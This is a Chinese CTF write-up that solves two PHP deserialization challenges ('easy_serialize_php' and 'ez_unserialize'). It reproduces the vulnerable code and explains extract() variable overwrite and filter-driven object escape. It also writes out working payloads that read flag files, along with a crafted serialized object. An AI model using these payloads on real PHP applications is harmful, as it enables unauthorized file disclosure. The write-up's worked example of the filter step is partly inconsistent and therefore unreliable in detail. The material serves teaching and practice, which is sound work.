关于序列化与反序列化解题

1、[安洵杯 2019]easy_serialize_php

php 复制代码
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

implode函数的作用是:将filter_arr这个[数组合并](https://so.csdn.net/so/search?q=%E6%95%B0%E7%BB%84%E5%90%88%E5%B9%B6&spm=1001.2101.3001.7020 "数组合并")为一个字符串,并以\|分割开来;所以这个正则表达式是preg_replace(/php\|flag\|php5\|php4\|f1lg/i,'',img);并用filter()函数过滤

implode() 函数

定义和用法

implode() 函数返回一个由数组元素组合成的字符串。

注释: implode() 函数接受两种参数顺序。但是由于历史原因,explode() 是不行的,您必须保证 separator 参数在 string 参数之前才行。

**注释:**implode() 函数的 separator 参数是可选的。但是为了向后兼容,推荐您使用使用两个参数。

**注释:**该函数是二进制安全的

语法

implode(separator,array)

参数 描述
separator 可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。
array 必需。要组合为字符串的数组。

unset() 函数

unset() 函数用于销毁给定的变量。

语法

复制代码
void unset ( mixed $var [, mixed $... ] )

参数说明:

  • $var: 要销毁的变量。

返回值

没有返回值。

继续分析代码,如果存在$_SESSION,就把它删除,然后为$_SESSION中的属性进行赋值。extract()函数会将你post传入的参数和值形成一个键值对:如:POST方法传入一个/?_SESSION[user]=flag,他会给你变为$_SESSION["user"]='flag',

extract() 函数

定义和用法

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

语法

extract(array,extract_rules,prefix)

参数 描述
array 必需。规定要使用的数组。
extract_rules 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。 可能的值: * EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 * EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 * EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 * EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 * EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 * EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 * EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 * EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
prefix 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。 该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。

接下来用if语句判断是否给$function传参,如果没有则会返回index.php?f=highlight_file这个界面;如果给img_path不传参数,他会将guest_img.png进行base64编码后赋值给img这个键,如果传参数,会将你传的值进行base64编码后在进行sha1赋值给img,将session数组序列化后进行过滤。

提示说可以在phpinfo() 中查看,尝试查看里面的内容。输入f=phpinfo,查找到一个可能有关的条件。

这是一个反序列化题目,最后一句代码echo file_get_contents(base64_decode($userinfo['img']));中说要输出base64编码且反序列化后的对象,因此要考虑怎样将d0g3_f1ag.php放到里面输出。当f=show_image是可以读文件的,只要$userinfo['img']是相应的flag.php的base64加密

首先,为了输出想要的数据,要在里面放入d0g3_f1ag.php

又因为userinfo是由serialize_info反序列化得来的 所以想到这里应该将d0g3_f1ag.php进行base64编码得到:

复制代码
ZDBnM19mMWFnLnBocA==

serialize_info又是由$_SESSION这个数组经过序列化编码,再进行过滤得来

因此我们现在的目标就是如何让序列化后且过滤后的字符串img的值为ZDBnM19mMWFnLnBocA==,这里就需要用到源代码中的覆盖函数extract() 函数, 参考一下其他wp:[安洵杯 2019]easy_serialize_php (对象逃逸)-CSDN博客

这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:"function";s:xx:"a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag,

且[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤前

a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后

a:2:{s:7:"【";s:48:】";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

下面的步骤和值替换一样

构造payload:

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

得到/d0g3_fllllllag,发现将其base64编码后也是20位,进行替换后得到flag

f=show_image

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

2、[SWPUCTF 2021 新生赛]ez_unserialize

查看源码后得到一个disallow,考虑扫描

扫出来两个目录,尝试查看里面的内容。

只能打开robots.txt,在里面发现了一个新的php文件。

php 复制代码
 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

目标是输出flag,因此一定要触发_destruct()函数,这个是析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。(实例化对象结束后会被销毁,也会触发析构函数),我认为它的执行条件相当于要先有实例化,也就是执行_construct()。$this->admin === "admin" && $this->passwd === "ctf"是输出的条件,尝试构造pop链

得到payload:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

题目中说反序列化的对象是p,所以传入参数值为p。

得到flag

相关推荐
百锦再1 天前
第11章 泛型、trait与生命周期
android·网络·人工智能·python·golang·rust·go
会跑的兔子1 天前
Android 16 Kotlin协程 第二部分
android·windows·kotlin
键来大师1 天前
Android15 RK3588 修改默认不锁屏不休眠
android·java·framework·rk3588
江上清风山间明月1 天前
Android 系统超级实用的分析调试命令
android·内存·调试·dumpsys
百锦再1 天前
第12章 测试编写
android·java·开发语言·python·rust·go·erlang
用户69371750013841 天前
Kotlin 协程基础入门系列:从概念到实战
android·后端·kotlin
SHEN_ZIYUAN1 天前
Android 主线程性能优化实战:从 90% 降至 13%
android·cpu优化
曹绍华1 天前
android 线程loop
android·java·开发语言
雨白1 天前
Hilt 入门指南:从 DI 原理到核心用法
android·android jetpack
介一安全1 天前
【Frida Android】实战篇3:基于 OkHttp 库的 Hook 抓包
android·okhttp·网络安全·frida